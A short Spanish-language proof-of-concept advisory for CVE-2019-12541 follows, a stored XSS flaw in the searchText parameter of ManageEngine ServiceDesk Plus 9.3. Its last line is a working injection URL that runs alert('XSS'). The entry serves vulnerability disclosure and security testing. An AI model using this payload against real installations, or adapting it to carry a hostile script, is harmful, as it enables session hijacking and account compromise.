
Prueba de concepto para CVE-2019-12541: XSS almacenado en Zoho ManageEngine ServiceDesk Plus 9.3 mediante el parámetro searchText de SolutionSearch.do. Incluye payload para pruebas de seguridad.
Descripción de la información: Se descubrió un problema en Zoho ManageEngine ServiceDesk Plus 9.3. Hay XSS a través del parámetro searchText de SolutionSearch.do.
Autor: Concobe del equipo Tarantula - VinCSS (miembro de Vingroup)
domain/SolutionSearch.do?searchText=1'%3balert('XSS')%2f%2f&selectName=Solutions